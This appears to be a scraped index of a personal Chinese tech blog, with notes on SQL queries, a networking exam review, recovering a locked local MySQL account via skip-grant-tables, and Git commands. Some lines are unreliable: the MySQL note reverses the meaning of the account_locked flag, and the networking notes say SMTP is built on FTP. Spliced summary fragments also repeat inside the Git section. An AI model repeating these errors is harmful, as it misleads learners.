DQL(Data Query Language)数据查询语言 SQL查询的执行顺序 基础关键字 BETWEEN\u0026hellip;AND （在什么之间）和 IN( 集合)\n-- 查询年龄大于等于20 小于等于30\tSELECT * FROM student WHERE age \u0026gt;= 20 \u0026amp;\u0026amp; age \u0026lt;=30; SELECT * FROM student WHERE age \u0026gt;= 20 AND age \u0026lt;=30; SELECT * FROM student WHERE age BETWEEN 20 AND 30; -- 查询年龄22岁，18岁，25岁的信息 SELECT * FROM student WHERE age = 22 OR age = 18 OR age = 25 SELECT * FROM student WHERE age IN (22,18,25); is not null(不为null值) 与 like（模糊查询）、distinct（去除重复值）\n-- 查询英语成绩不为null SELECT * FROM student WHERE english IS NOT NULL; _:单个任意字符 %：多个任意字符 -- 查询姓马的有哪些？ like SELECT * FROM student WHERE NAME LIKE \u0026#39;马%\u0026#39;; -- 查询姓名第二个字是化的人\tSELECT * FROM student WHERE NAME LIKE \u0026#34;_化%\u0026#34;;\t-- 查询姓名是3个字的人 SELECT * FROM student WHERE NAME LIKE \u0026#39;___\u0026#39;;\t-- 查询姓名中包含德的人 SELECT * FROM student WHERE NAME LIKE \u0026#39;%德%\u0026#39;; -- 关键词 DISTINCT 用于返回唯一不同的值。 -- 语法：SELECT DISTINCT 列名称 FROM 表名称 SELECT DISTINCT NAME FROM student ; EXISTS EXISTS是返回boolean,不是返回的子查询。\n使用方法：\nSELECT xm FROM S WHERE EXISTS([conditions]...) WITH：创建临时表 with 语句相当于建立了一张 临时虚拟表\n即利用with子句为子查询的数据集作为一个内存临时表. 在内存中解析，提高执行效率.，并且提高SQL语句的可读性，用完即销毁。\n语法 可以同时定义多个临时表\nWith Subtable1 as (select 1...), //as和select中的括号都不能省略 Subtable2 as (select 2...), //后面的没有with，逗号分割，同一个主查询同级别地方，with子查询只能定义一次 … Subtablen as (select n...) //与下面的实际查询之间没有逗号 Select …. with子句相关总结：\n1.使用with子句可以让子查询重用相同的with查询块,通过select调用（with子句只能被select查询块引用），一般在with查询用到多次情况下。在引用的select语句之前定义,同级只能定义with关键字只能使用一次,多个用逗号分割。 2.with子句的返回结果存到用户的临时表空间中，只做一次查询，反复使用,提高效率。 3.在同级select前有多个查询定义的时候，第1个用with，后面的不用with，并且用逗号隔开。 5.最后一个with 子句与下面的查询之间不能有逗号，只通过右括号分割,with 子句的查询必须用括号括起来 6.如果定义了with子句，而在查询中不使用，那么会报ora-32035 错误：未引用在with子句中定义的查询名。（至少一个with查询的name未被引用，解决方法是移除未被引用的with查询），注意：只要后面有引用的就可以，不一定非要在主查询中引用，比如后面的with 查询也引用了，也是可以的。 7.前面的with子句定义的查询在后面的with子句中可以使用。但是一个with子句内部不能嵌套with子句。 8.当一个查询块名字和一个表名或其他的对象相同时，解析器从内向外搜索，优先使用子查询块名字。 9.with查询的结果列有别名，引用的时候必须使用别名或*。 ———————————————— 版权声明：本文为CSDN博主「事后诸葛亮」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/zq9017197/article/details/5938514\nORDER BY：字段排序 语法：order by 子句\norder by 排序字段1 排序方式1 ， 排序字段2 排序方式2... 注意： 如果有多个排序条件，则当前边的条件值一样时，才会判断第二条件。\n如果使用默认的 utf8mb4 字符编码，中文按照偏旁部首进行排序，拼音排序用ORDER BY CONVERT(列名 USING GBK) ASC/DESC\n-- 例子 SELECT * FROM person ORDER BY math; --默认升序 SELECT * FROM person ORDER BY math desc; --降序 GROUP BY：字段分组 group by的过程解析\n如图所示，使用GROUP BY name，就相当于使用name进行分组，name相同的都压缩到一行中去，如表3。\n然饿，因为每一行只能允许存在一个确定的值，所以需要对这种有多个的值的格子，进行多个输入、一个输出的聚合函数进行处理。\n所以说GROUP BY能查询的字段只有分组字段、聚合函数。\n-- 按照性别分组。分别查询男、女同学的平均分 SELECT sex , AVG(math) FROM student GROUP BY sex; group by 多个字段\n如group by name,number，我们可以把name和number 看成一个整体字段，以他们整体来进行分组的。\n场景：对某一列的数目进行筛选 比如至少玩过某两款游戏的玩家ID，就可以用count+group by+having进行条件筛选。比如：\nWHERE GNAME in (\u0026#39;王者荣耀\u0026#39;,\u0026#39;帝国时代\u0026#39;) GROUP BY player.PID HAVING COUNT(PID)\u0026gt;=2; HAVING：组条件 HAVING 大多数情况下和结合 GROUP BY 来使用，但不是一定要结合 GROUP BY 来使用\nSELECT cno, COUNT(*) nums FROM tbl_student_class GROUP BY cno HAVING COUNT(*) = 3; INNER JOIN 隐式内连接 使用where条件消除无用数据\n-- 查询员工表的名称，性别。部门表的名称 SELECT emp.name,emp.gender,dept.name FROM emp,dept WHERE emp.`dept_id` = dept.`id`; SELECT t1.name, -- 员工表的姓名 t1.gender,-- 员工表的性别 t2.name -- 部门表的名称 FROM emp t1, dept t2 WHERE t1.`dept_id` = t2.`id`; 显式内连接 -- 语法： select 字段列表 from 表名1 [inner] join 表名2 on 条件 -- 例如： SELECT * FROM emp INNER JOIN dept ON emp.`dept_id` = dept.`id`; SELECT * FROM emp JOIN dept ON emp.`dept_id` = dept.`id`; 外连接查询 LEFT JOIN 左外连接 \u0026ndash; 查询的是左表所有数据以及其交集部分\n-- 语法：select 字段列表 from 表1 left [outer] join 表2 on 条件； -- 例子： -- 查询所有员工信息，如果员工有部门，则查询部门名称，没有部门，则不显示部门名称 SELECT t1.*,t2.`name` FROM emp t1 LEFT JOIN dept t2 ON t1.`dept_id` = t2.`id`; RIGHT JOIN 右外连接 \u0026ndash; 查询的是右表所有数据以及其交集部分\n-- 语法： select 字段列表 from 表1 right [outer] join 表2 on 条件； -- 例子： SELECT * FROM dept t2 RIGHT JOIN emp t1 ON t1.`dept_id` = t2.`id`; CASE 子句 Case具有两种格式。简单Case函数和Case搜索函数。\n--简单Case函数 CASE sex WHEN \u0026#39;1\u0026#39; THEN \u0026#39;男\u0026#39; WHEN \u0026#39;2\u0026#39; THEN \u0026#39;女\u0026#39; ELSE \u0026#39;其他\u0026#39; END --Case搜索函数 CASE WHEN sex = \u0026#39;1\u0026#39; THEN \u0026#39;男\u0026#39; WHEN sex = \u0026#39;2\u0026#39; THEN \u0026#39;女\u0026#39; ELSE \u0026#39;其他\u0026#39; END 这两种方式，可以实现相同的功能。简单Case函数的写法相对比较简洁，但是和Case搜索函数相比，功能方面会有些限制，比如写判断式。\n使用示例：\nINNER JOIN battle ON CASE WHEN battle.WINNER = \u0026#39;PLAYER1\u0026#39; THEN battle.PLAYER1 WHEN battle.WINNER = \u0026#39;PLAYER2\u0026#39; THEN battle.PLAYER2 ELSE NULL -- 如果 WINNER 不是 \u0026#39;PLAYER1\u0026#39; 或 \u0026#39;PLAYER2\u0026#39;，可以返回 NULL 或其他适当的值 END = player.PID 外键 外键的设置 用SQL语言设置外键：`[ CONSTRAINT `外键别名`] FOREIGN KEY (`受限制的列名`) REFERENCES `引用的表` (`引用的列名`)`\nCREATE TABLE `S` ( `xh` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL, `xm` varchar(255) NOT NULL, `xb` varchar(255) DEFAULT NULL, `csrq` varchar(255) DEFAULT NULL, `jg` varchar(255) DEFAULT NULL, `sjhm` varchar(255) DEFAULT NULL, `yxh` varchar(255) DEFAULT NULL, PRIMARY KEY (`xh`), KEY `idx1` (`yxh` DESC,`xm`) USING BTREE /*!80000 INVISIBLE */, KEY `学生表S院系号` (`yxh`), CONSTRAINT `学生表S院系号` FOREIGN KEY (`yxh`) REFERENCES `D` (`yxh`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci 外键是各个表之间的约束和联系，让数据更加合理。\n外键设置后，对添加和删除数据元素就有了先后顺序的要求。\n添加记录会出现的错误 如果想要在学生表S中添加院系号为04的学生，直接执行\nINSERT INTO `dbclass-school`.`S` (`xh`, `xm`, `xb`, `csrq`, `jg`, `sjhm`, `yxh`) VALUES (\u0026#39;1108\u0026#39;, \u0026#39;Kelvin\u0026#39;, \u0026#39;男\u0026#39;, \u0026#39;1993-08-16\u0026#39;, \u0026#39;加州\u0026#39;, \u0026#39;16301254638\u0026#39;, \u0026#39;05\u0026#39;); 会出现报错：\nERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`dbclass-school`.`S`, CONSTRAINT `学生表S院系号` FOREIGN KEY (`yxh`) REFERENCES `D` (`yxh`)) 删除记录会出现的错误 在被引用的外键D.yxh删除记录，也会出现报错。\nmysql\u0026gt; DELETE FROM D WHERE yxh=\u0026#39;01\u0026#39;; ERROR 1451 (23000): Cannot delete or update a parent row: a foreign key constraint fails (`dbclass-school`.`S`, CONSTRAINT `学生表S院系号` FOREIGN KEY (`yxh`) REFERENCES `D` (`yxh`)) 正确的增删顺序是必要的 有顺序地增加记录 # 先添加D表中的院系号yxh mysql\u0026gt; INSERT INTO `dbclass-school`.`D` (`yxh`,`Mc`,`dz`,`lxdh`) VALUES(\u0026#39;04\u0026#39;,\u0026#39;美术学院\u0026#39;,\u0026#39;上大东校区五号楼\u0026#39;,\u0026#39;1234675427\u0026#39;); Query OK, 1 row affected (0.01 sec) mysql\u0026gt; SELECT * FROM D; +-----+-----------------+--------------------------+------------+ | yxh | Mc | dz | lxdh | +-----+-----------------+--------------------------+------------+ | 01 | 计算机学院 | 上大东校区三号楼 | 65347567 | | 02 | 通讯学院 | 上大东校区二号楼 | 65341234 | | 03 | 材料学院 | 上大东校区四号楼 | 65347890 | | 04 | 美术学院 | 上大东校区五号楼 | 1234675427 | +-----+-----------------+--------------------------+------------+ 4 rows in set (0.00 sec) # 之后才能插入该院系号的学生 mysql\u0026gt; INSERT INTO `dbclass-school`.`S` (`xh`, `xm`, `xb`, `csrq`, `jg`, `sjhm`, `yxh`) VALUES (\u0026#39;1109\u0026#39;, \u0026#39;Eva\u0026#39;, \u0026#39;女\u0026#39;, \u0026#39;1993-08-16\u0026#39;, \u0026#39;加州\u0026#39;, \u0026#39;16301254638\u0026#39;, \u0026#39;04\u0026#39;); Query OK, 1 row affected (0.00 sec) mysql\u0026gt; SELECT * FROM S; +------+-----------+------+------------+--------+-------------+------+ | xh | xm | xb | csrq | jg | sjhm | yxh | +------+-----------+------+------------+--------+-------------+------+ | 1101 | 李明 | 男 | 1993-03-06 | 上海 | 13613005486 | 02 | | 1102 | 刘晓明 | 男 | 1992-12-08 | 安徽 | 18913457890 | 01 | | 1103 | 张颖 | 女 | 1993-01-05 | 江苏 | 18826490423 | 01 | | 1104 | 刘晶晶 | 女 | 1994-11-06 | 上海 | 13331934111 | 01 | | 1105 | 刘成刚 | 男 | 1991-06-07 | 上海 | 18015872567 | 01 | | 1106 | 李二丽 | 女 | 1993-05-04 | 江苏 | 18107620945 | 01 | | 1107 | 张晓峰 | 男 | 1992-08-16 | 浙江 | 13912341078 | 01 | | 1108 | Kelvin | 男 | 1993-08-16 | 加州 | 16301254638 | 03 | | 1109 | Eva | 女 | 1993-08-16 | 加州 | 16301254638 | 04 | +------+-----------+------+------------+--------+-------------+------+ 9 rows in set (0.00 sec) 有顺序地删除记录 # 在外键被引用的时候不能直接删除被引用的内容 mysql\u0026gt; DELETE FROM D WHERE yxh=04; ERROR 1451 (23000): Cannot delete or update a parent row: a foreign key constraint fails (`dbclass-school`.`S`, CONSTRAINT `学生表S院系号` FOREIGN KEY (`yxh`) REFERENCES `D` (`yxh`)) # 应该先删除学生表中引用该院系号的记录 mysql\u0026gt; DELETE FROM S WHERE yxh=04; Query OK, 1 row affected (0.01 sec) # 最后才能删除逻辑上最底层的记录 mysql\u0026gt; DELETE FROM D WHERE yxh=04; Query OK, 1 row affected (0.00 sec) 错误提示 Operand should contain 1 column(s)\n原因是我的子查询查询出的数据不止一个字段，但是我却在整体SQL中 把子查询出来的结果 作为一个字段的 NODE_ID 了\nSQL 参数错误\n这个问题的原因有很多，下面列出碰到的不易看出错误的：\nINNER JOIN rank ON player.RANK=rank.RID 应该改为：\nINNER JOIN `rank` ON player.RANK=`rank`.RID 因为rank是sql中的保留关键字，作为表名需要用``括起来，当然最好是不要使用这样的名字作为表名。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%95%B0%E6%8D%AE%E5%BA%93/use-sql/","summary":"导出数据库为sql文件，在命令行中执行：\nmysqldump -u root -p course-system \u0026gt; course-system.sql DDL(Data Definition Language)数据定义语言 操作库 -- 创建库 create database db1; -- 创建库是否存在，不存在则创建 create database if not exists db1; -- 查看所有数据库 show databases; -- 查看某个数据库的定义信息 show create database db1; -- 修改数据库字符信息 alter database db1 character set utf8; -- 删除数据库 drop database db1; -- 使用某一数据库 use db1; 操作表 -- 创建表 create table student( id int, name varchar(32), age int , score double(4,1), birthday date, insert_time timestamp ); -- 查看表结构 desc 表名; -- 查看创建表的SQL语句 show create table 表名; -- 修改表名 alter table 表名 rename to 新的表名; -- 添加一列 alter table 表名 add 列名 数据类型; -- 删除列 alter table 表名 drop 列名; -- 删除表 drop table 表名; drop table if exists 表名 ; DML(Data Manipulation Language)数据操作语言 增加 insert into -- 写全所有列名 insert into 表名(列名1,列名2,.","title":"SQL学习笔记"},{"content":"https://www.yuque.com/docs/share/a0aff20d-44da-46c6-a65a-67e69dd0c6f3?# 《基于cch的计网复习》划了上次考点\n题型：判断 选择 填空 计算题\n复习课 拍照 中英文 英文缩写 英文全称 中文 TDM Time Division Multiplexing 时分复用 CDMA Code Division Multiple Access 码分多址 CSMA/CD Carrier Sense Multiple Access with Collision Detection 载波监听 多点接入 / 碰撞检测 MAC Medium Access Control 媒体接入控制 RTT Round Trip Time 往返时间 ARP Address Resolution Protocol 地址解析协议 IP Internet Protocol 网际协议 ICMP Internet Control Message Protocol 网际控制报文协议 TCP Transmission Control Protocol 传输控制协议 UDP User Datagram Protocol 用户数据报协议 RIP Routing Information Protocol 路由信息协议 BGP Border Gateway Protocol 边界网关协议 OSPF Open Shortest Path First 开放最短路径优先 VLAN Virtual Local Area Network 虚拟局域网 DNS Domain Name System 域名系统 知识点 语雀知识点链接：https://www.yuque.com/docs/share/a0aff20d-44da-46c6-a65a-67e69dd0c6f3?#\n物理层 奈氏 香农 编码 数据链路层 字符填充法 7D-\u0026gt;7D 5D 7E-\u0026gt;7D 5E\nhttps://blog.csdn.net/skyxmstar/article/details/69564494\nhttps://zhidao.baidu.com/question/406715875.html\n奇偶校验 结论：奇偶校验只能检测出奇数个比特错\n原因：在数据中有偶数位改变时，接收方所计算的校验码仍然与发送方一致，这种校验方式不能检测偶数位的误码。\n循环冗余CRC 海明码 如果要检测出d个比特的错，则编码集的海明距离至少为d+1。\n如果要纠正 d个比特的错，则编码集的海明距离至少应为2d+1\n海明码计算 偶校验：有偶数个1时，校验位为0\n网络层 IP地址分类 IP地址分类（A类 B类 C类 D类 E类）\nhttps://blog.csdn.net/kzadmxz/article/details/73658168\n传输层 拥塞控制 试卷 不要问是不是网上找的，哪个学校的\n做一遍，记住题型，你不会后悔\n判断 1、\n2、\n3、\nSMTP（发送邮件） SMTP( Simple Mail Transfer Protocol,简单邮件传输协议)是一种提供可靠且有效的电子邮件传输的协议。 SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。SMTP独立于特定的传输子系统,并且只需要可靠有序的数据流信道支持,其重要特性之一是能跨越网络传输邮件,即“SMTP邮件中继”。使用SMTP可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。 SMTP在传输层使用的是TCP,其默认访问的端口号是25。 POP3（接收邮件） POP( Post Office Protocol Version3,邮局协议)也是一种应用层协议。它由RFC1939定义,主要用于支持使用客户端远程管理在服务器上的电子邮件,提供了SSL加密的POP3被称为POP3S。 POP支持“离线”邮件处理,其具体过程是,将邮件发送到服务器上,电子邮件客户端调用邮件客户机程序以连接服务器,并下载所有未阅读的电子邮件。这种离线访问模式是一种存储转发服务,将邮件从邮件服务器端发送到个人终端机器上(PC或MAC)。一旦邮件发送到PC或MAC上,邮件服务器中的邮件将会被删除。但POP3邮件服务器大都可以“只下载邮件,服务器端并不删除” POP3在传输层使用的协议是TCP,默认访问的邮件服务器端口是110。\n4、\n5、\n交换机和路由器下的都是不平分带宽的，都是独享带宽的，所以答案就是每个端口都是100Mb/s的带宽，即每个站都是100Mb/s\n6、\n不论是TCP/IP还是在OSI参考模型中，任意相邻两层的下层为服务提供者，上层为服务调用者\n7、\n填充(Padding)：填充字段，全0，因IP报文头长度单位为32bit(4Byte,)，所以报文长度必须为32bit的整数倍\nhttps://www.cnblogs.com/dream397/p/13745373.html\n8、\n选择 10、\n中继器的功能太简单，不可能避免广播信息过多引起的广播风暴\n网桥、交换机都只工作在数据链路层，且均工作在同一个局域网内，广播针对数据链路层，因为局域网内的所有信息都是广播信息，当广播信息过多，这两种设备无法及时转发时，便会产生广播风暴\n路由器在收到分组后进行匹配发送的指定的网络，不会产生广播风暴，产生了问题也不叫广播风暴，是拥塞\n计算题 1、经典公式 （1）\n（2）\n2、CDMA 通信 3、CRC 编码 3-5 要发送的数据为1101011011。采用CRC的生成多项式是P(x)=x4+x+1 。试求应添加在数据后面的余数。　（1）数据在传输过程中最后一个1变成了0，问接收端能否发现？　（2）若数据在传输过程中最后两个1都变成了0，问接收端能否发现？　（3）采用CRC检验后，数据链路层的传输是否就变成了可靠传输\n（1）检验序列的求法：1101011011为被除数，P(x)转化为二进制10011为除数，得到余数1110为检验序列\n​\t当在传输过程中最后一个1变成了0，则被除数变为11010110101110，P(x)转化为二进制10011为除数，余数R为0011没有被除尽，所以可以被接收端发现\n（2）数据在传输过程中最后两个1都变成了0，11010110001110除以10011，余数为101，不为0，接收端可以发现差错。\n（3）不可以，所谓“可靠传输”就是：数据链路层的发送端发送什么，在接收端就收到什么（按序，无差错、无丢失、无重复）。这就是收到的帧并没有出现比特差错，但却出现了帧丢失、帧重复或帧失序。CRC检验能够实现无比特差错的传输，但这不是可靠的传输。\n4、路由表 图表题 1、编码：曼彻斯特 2、路由表 3、TCP 的拥塞窗口 4、网桥的转发表 综合题 1、IP地址 某单位分配到一个B类IP地址，其net-id为129.250.0.0.该单位有4000台机器，分布在16个不同的地点。如选用子网掩码为255.255.255.0，试给每一个地点分配一个子网掩码号，并算出每个地点主机号码的最小值和最大值。\n4000/16=250 ，平均每个地点250台机器。如选255.255.255.0为掩码，则每个网络所连主机数=28-2=254\u0026gt;250，共有子网数=28-2=254\u0026gt;16，能满足实际需求。\n可给每个地点分配如下子网号码\n地点： 子网号（ subnet-id ） 子网网络号 主机 IP 的最小值和最大值\n1 ： 00000001 129.250.1.0 129.250.1.1\u0026mdash;129.250.1.254\n2 ： 00000010 129.250.2.0 129.250.2.1\u0026mdash;129.250.2.254\n3 ： 00000011 129.250.3.0 129.250.3.1\u0026mdash;129.250.3.254\n4 ： 00000100 129.250.4.0 129.250.4.1\u0026mdash;129.250.4.254\n5 ： 00000101 129.250.5.0 129.250.5.1\u0026mdash;129.250.5.254\n6 ： 00000110 129.250.6.0 129.250.6.1\u0026mdash;129.250.6.254\n7 ： 00000111 129.250.7.0 129.250.7.1\u0026mdash;129.250.7.254\n8 ： 00001000 129.250.8.0 129.250.8.1\u0026mdash;129.250.8.254\n9 ： 00001001 129.250.9.0 129.250.9.1\u0026mdash;129.250.9.254\n10 ： 00001010 129.250.10.0 129.250.10.1\u0026mdash;129.250.10.254\n11 ： 00001011 129.250.11.0 129.250.11.1\u0026mdash;129.250.11.254\n12 ： 00001100 129.250.12.0 129.250.12.1\u0026mdash;129.250.12.254\n13 ： 00001101 129.250.13.0 129.250.13.1\u0026mdash;129.250.13.254\n14 ： 00001110 129.250.14.0 129.250.14.1\u0026mdash;129.250.14.254\n15 ： 00001111 129.250.15.0 129.250.15.1\u0026mdash;129.250.15.254\n16 ： 00010000 129.250.16.0 129.250.16.1\u0026mdash;129.250.16.254\n2、局域网 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/school-network-review/","summary":"https://www.yuque.com/docs/share/a0aff20d-44da-46c6-a65a-67e69dd0c6f3?# 《基于cch的计网复习》划了上次考点\n题型：判断 选择 填空 计算题\n复习课 拍照 中英文 英文缩写 英文全称 中文 TDM Time Division Multiplexing 时分复用 CDMA Code Division Multiple Access 码分多址 CSMA/CD Carrier Sense Multiple Access with Collision Detection 载波监听 多点接入 / 碰撞检测 MAC Medium Access Control 媒体接入控制 RTT Round Trip Time 往返时间 ARP Address Resolution Protocol 地址解析协议 IP Internet Protocol 网际协议 ICMP Internet Control Message Protocol 网际控制报文协议 TCP Transmission Control Protocol 传输控制协议 UDP User Datagram Protocol 用户数据报协议 RIP Routing Information Protocol 路由信息协议 BGP Border Gateway Protocol 边界网关协议 OSPF Open Shortest Path First 开放最短路径优先 VLAN Virtual Local Area Network 虚拟局域网 DNS Domain Name System 域名系统 知识点 语雀知识点链接：https://www.","title":"计算机网络期末复习"},{"content":"问题描述 在某一天正常输入密码进入mysql的过程中出现了这样的问题：\nyoho@~$ mysql -u root -p Enter password: ERROR 3118 (HY000): Access denied for user 'root'@'localhost'. Account is locked.\n问题分析 查证一番之后就是账户被锁定了，在mysql.user中的用户的account_locked属性写成了N，正常应该是Y；\n现在的问题就是需要进入到mysql中对这个值进行修改。。\n问题是平时个人电脑上我就是用的root，其他也没有什么用户了，我就进不去mysql修改不料。\n解决方法 一番摸索之后找到了一个方法，绕过权限检查机制登入mysql然后进行修改即可。\n绕开权限检查机制的过程如下：\n进入/etc/mysql/mysql.conf.d/下，有mysql.cnf和mysqld.cnf两个文件\n你看你自己电脑上的东西是写在哪个文件上的，我的电脑上基本就是mysql.cnf是空的，配置都在mysqld.cnf上\n对你要修改的文件先用sudo cp命令进行一个备份，再进行修改，防止发生意外\n打开文件，在[mysqld]下添加一行配置:skip-grant-tables\n保存之后重新启动mysql服务，sudo ststemctl restart mysql\n再用mysql -u root 就可以绕过权限直接登陆了\n进入之后再对mysql.user表中的相应用户的account_locked字段的值进行修改\n最后再将mysqld.cnf改回来重启mysql服务就可以了\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/mysql-user-was-blocked/","summary":"问题描述 在某一天正常输入密码进入mysql的过程中出现了这样的问题：\nyoho@~$ mysql -u root -p Enter password: ERROR 3118 (HY000): Access denied for user 'root'@'localhost'. Account is locked.\n问题分析 查证一番之后就是账户被锁定了，在mysql.user中的用户的account_locked属性写成了N，正常应该是Y；\n现在的问题就是需要进入到mysql中对这个值进行修改。。\n问题是平时个人电脑上我就是用的root，其他也没有什么用户了，我就进不去mysql修改不料。\n解决方法 一番摸索之后找到了一个方法，绕过权限检查机制登入mysql然后进行修改即可。\n绕开权限检查机制的过程如下：\n进入/etc/mysql/mysql.conf.d/下，有mysql.cnf和mysqld.cnf两个文件\n你看你自己电脑上的东西是写在哪个文件上的，我的电脑上基本就是mysql.cnf是空的，配置都在mysqld.cnf上\n对你要修改的文件先用sudo cp命令进行一个备份，再进行修改，防止发生意外\n打开文件，在[mysqld]下添加一行配置:skip-grant-tables\n保存之后重新启动mysql服务，sudo ststemctl restart mysql\n再用mysql -u root 就可以绕过权限直接登陆了\n进入之后再对mysql.user表中的相应用户的account_locked字段的值进行修改\n最后再将mysqld.cnf改回来重启mysql服务就可以了","title":"mysql用户被锁定"},{"content":"Git正确使用姿势 Git工作区域和流程 工作区域 **远程仓库：**就是我们托管在github或者其他代码托管平台上的仓库。\n**本地仓库：**就是在我们本地通过git init命令初始化的新建的仓库。\n**工作区：**就是我们写代码、编辑文件的地方。\n**暂存区：**当工作区的内容写好了之后，就会通过add命令，将工作区的内容放到暂存区，等待commit命令提交到本地仓库中。\n文件状态 **未跟踪的（untracked）：**表示在工作区新建了某个文件，还没有add。 **已修改（modofied）：**表示在工作区中修改了某个文件，还没有 add。 **已暂存（staged）：**表示把已修改的文件已add到暂存区域。 **已提交（commit）：**表示文件已经commit到本地仓库保存起来了。 Git常见命令 仓库初始化和克隆 # git仓库初始化 git init # 从远程仓库中进行克隆代码到本地仓库 git clone [远程仓库的HTTP/SSH的URL] # 查看当前git仓库的状态 git status 远程仓库管理 Git正确使用姿势 Git工作区域和流程 工作区域 远程仓库： 就是我们托管在github或者其他代码托管平台上的仓库。 本地仓库： 就是在我们本地通过git init命令初始化的新建的仓库。 工作区# git remote 是用来管理远程仓库的命令 git remote\t# 查看已配置的远程仓库 git remote -v # 查看远程仓库的URL git remote add \u0026lt;远程仓库名称\u0026gt; \u0026lt;远程仓库URL\u0026gt;\t# 添加一个新的远程仓库 # e.g git remote add origin \u0026lt;远程仓库URL\u0026gt;，一般采用origin作为远程仓库的名字 git remote remove origin # 删除名为origin的远程仓库 git remote rename origin newname # 将origin的名字改为newname # 设置本地仓库的上游分支 git branch --set-upstream-to=origin/main main # 给本地仓库的分支重命名 ## 把master分支更名为main分支 git branch -m master main 从工作区提交代码到远程仓库 # git add 将更改过的代码添加到暂存区 git add .\t# 将工作区中所有更改添加到暂存区 git add index.html\t# 添加更改的单个文件到暂存区 git add src/\t# 添加该目录下的更改到暂存区 # git commit 将暂存区的代码提交到本地仓库 git commit -m \u0026#34;提交说明\u0026#34;\t# 最常用的提交方式，一定要写提交说明，不然版本管理会非常痛苦 # git push 用于将本地的代码提交推送到远程仓库，将本地仓库中的提交上传到Git服务器上，使其成为远程仓库的一部分 git push \u0026lt;远程仓库名称\u0026gt; \u0026lt;本地分支名称\u0026gt;:\u0026lt;远程分支名称\u0026gt; git push -f origin master\t# 强制推送到origin的master分支，远程仓库origin的master分支上的之前的代码会被覆盖！非常危险的操作！ \u0026lt;远程仓库名称\u0026gt;：指定要推送到的远程仓库的名称，通常为\u0026quot;origin\u0026quot;，这是Git默认的远程仓库名称。 \u0026lt;本地分支名称\u0026gt;：指定要推送的本地分支的名称，这是你当前所在的分支，例如\u0026quot;main\u0026quot;、\u0026ldquo;master\u0026quot;等。 \u0026lt;远程分支名称\u0026gt;：指定远程仓库中要接收提交的分支名称。 默认情况下，git push命令会将当前分支的代码推送到与之相对应的远程分支。例如，如果你当前在\u0026quot;main\u0026quot;分支上，并且与远程仓库\u0026quot;origin\u0026quot;关联，那么git push origin main命令将把\u0026quot;main\u0026quot;分支的提交推送到\u0026quot;origin\u0026quot;的\u0026quot;main\u0026quot;分支；如果远程分支不存在，则git push会自动创建一个新的远程分支。\n从远程仓库中拉取代码 fetch git fetch命令用于从远程仓库获取最新的代码提交和分支信息，但它不会将获取到的内容应用到你的工作目录或当前分支，也不会改变你本地仓库的历史记录。相当于是将远程仓库的最新信息下载到你的本地仓库，你可以通过git merge或git rebase将这些更新合并到你的当前分支。\n以下是git fetch命令的用法：\ngit fetch \u0026lt;远程仓库名称\u0026gt; 在执行命令时，Git会连接到指定的远程仓库，并获取远程仓库中最新的分支和提交信息。它会将获取到的内容保存在本地仓库的\u0026quot;FETCH_HEAD\u0026quot;引用中。\n关于git merge和git rebase的区别在这里引用了另外一个博主的文章进行介绍。\n文章原链接：https://blog.csdn.net/kevinxxw/article/details/123980372\nmerge 将 master 分支合并到 feature 分支最简单的办法就是用下面这些命令：\ngit checkout feature git merge master 也可以把它们压缩在一行里。\ngit merge master feature feature 分支中新的合并提交（merge commit）将两个分支的历史连在了一起。你会得到下面这样的分支结构：\nrebase 作为 merge 的替代选择，你可以像下面这样将 feature 分支并入 master 分支：\ngit checkout feature git rebase master 它会把整个 feature 分支移动到 master 分支的后面，有效地把所有 master 分支上新的提交并入过来。但是，rebase 为原分支上每一个提交创建一个新的提交，重写了项目历史，并且不会带来合并提交。\n关于git rebase的黄金法则就是永远不要在公共分支上使用它。\nrebase最大的好处是你的项目历史会非常整洁。首先，它不像 git merge 那样引入不必要的合并提交。其次，如上图所示，rebase 导致最后的项目历史呈现出完美的线性——你可以从项目终点到起点浏览而不需要任何的 fork。这让你更容易使用 git log、git bisect 和 gitk 来查看项目历史。\n不过，这种简单的提交历史会带来两个后果：安全性和可跟踪性。如果你违反了 rebase 黄金法则，重写项目历史可能会给你的协作工作流带来灾难性的影响。此外，rebase 不会有合并提交中附带的信息——你看不到 feature 分支中并入了上游的哪些更改。\n交互式rebase 交互式的 rebase 允许你更改并入新分支的提交。这比自动的 rebase 更加强大，因为它提供了对分支上提交历史完整的控制。一般来说，这被用于将 feature 分支并入 master 分支之前，清理混乱的历史。\n把 -i 传入 git rebase 选项来开始一个交互式的rebase过程：\ngit checkout feature git rebase -i master 它会打开一个文本编辑器，显示所有将被移动的提交：\npick 33d5b7a Message for commit #1 pick 9480b3d Message for commit #2 pick 5c67e61 Message for commit #3 这个列表定义了 rebase 将被执行后分支会是什么样的。更改 pick 命令或者重新排序，这个分支的历史就能如你所愿了。比如说，如果第二个提交修复了第一个提交中的小问题，你可以用 fixup 命令把它们合到一个提交中：\npick 33d5b7a Message for commit #1 fixup 9480b3d Message for commit #2 pick 5c67e61 Message for commit #3 保存后关闭文件，Git 会根据你的指令来执行 rebase，项目历史看上去会是这样：\n忽略不重要的提交会让你的 feature 分支的历史更清晰易读。这是 git merge 做不到的。\n分支管理 # git branch 命令用于查看、创建和管理分支 git branch # 查看本地所有分支 git branch -a\t# 查看本地和远程的分支 git branch \u0026lt;新分支名称\u0026gt;\t# 创建一个新分支 git branch -d \u0026lt;分支名称\u0026gt;\t# 删除一个分支 git branch -D \u0026lt;分支名称\u0026gt; # 强制删除一个分支 # git checkout 用于在Git中切换分支、查看文件的不同版本或还原文件到之前的状态 关于git rebase的黄金法则就是永远不要在公共分支上使用它。 git checkout 